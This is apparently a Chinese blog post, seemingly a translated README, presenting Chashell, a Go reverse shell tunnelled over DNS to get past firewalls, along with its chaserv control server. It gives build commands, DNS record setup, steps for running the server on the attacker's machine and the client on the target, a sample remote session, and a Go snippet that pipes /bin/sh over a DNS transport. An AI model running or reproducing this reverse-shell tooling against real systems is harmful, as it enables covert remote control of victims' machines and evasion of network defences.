Chashell:基于DNS的反向Shell
一顆小胡椒2021-12-26 22:59:41
Chashell是一個由Go編寫的基于DNS進行通信的反向shell。它可用于繞過防火墻或嚴格限制的網絡。
它帶有一個名為chaserv的多客戶端控制服務器。

通信安全
每個數據包都使用對稱加密(XSalsa20 + Poly1305)進行加密,客戶端和服務器之間使用共享密鑰。
我們計劃在未來實現非對稱加密。
協議
Chashell使用Protocol Buffers序列化消息進行通信。作為參考,協議緩沖區結構(.proto文件)在proto文件夾中可用。
這是一個(簡化的)通信圖表:

請記住,每個數據包都經過加密,十六進制編碼,然后被打包用于DNS傳輸。
支持的系統
Chashell可以在任何支持Go編譯器的桌面系統使用(如Windows,Linux,Darwin,BSD衍生版本)。
我們已在以下系統進行了測試:
Windows (386/amd64)
Linux (386/amd64/arm64)
OS X (386/amd64)
Chaserv/Chashell 使用
構建
在運行這些命令之前,請確保已正確配置GOPATH環境變量。
構建所有二進制文件(根據需要調整domain_name和encryption_key):
$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
$ export DOMAIN_NAME=c.sysdream.com
$ make build-all
為特定平臺構建:
$ make build-all OSARCH="linux/arm"
僅構建服務器:
$ make build-server
僅構建客戶端(chashell本身):
$ make build-client
DNS 設置
購買并配置你選擇的域名。
設置DNS記錄:
chashell 300 IN A [SERVERIP] c 300 IN NS chashell.[DOMAIN].
使用
在服務器端(攻擊者的計算機),你必須使用chaserv二進制文件。對于客戶端(即目標),請使用chashell二進制文件。
因此:
在控制服務器運行chaserv
在目標計算機運行chashell
客戶端現在應該回連到chaserv:
[n.chatelain]$ sudo ./chaserv chashell >>> New session : 5c54404419e59881dfa3a757 chashell >>> sessions 5c54404419e59881dfa3a757 Interacting with session 5c54404419e59881dfa3a757. whoami n.chatelain ls / bin boot dev [...] usr var
使用sessions [sessionid]命令與客戶端進行交互。與之交互過程中,你可以使用background命令將會話轉為后臺執行,并返回到chashell提示符。
使用exit命令關閉chaserv。
實現自己的反向 shell
chashell/lib/transport庫與io.Reader/io.Writer接口兼容。因此,實現反向shell非常簡單:
cmd := exec.Command("/bin/sh")
dnsTransport := transport.DNSStream(targetDomain, encryptionKey)
cmd.Stdout = dnsTransport
cmd.Stderr = dnsTransport
cmd.Stdin = dnsTransport
cmd.Run()
未來計劃
實現非對稱加密(Curve25519,XSalsa20和Poly1305)
使用InfoPacket消息檢索主機名
創建代理/中繼工具隧道TCP/UDP流(通過DNS進行Meterpreter!)
更好的錯誤處理
擺脫依賴
一顆小胡椒
暫無描述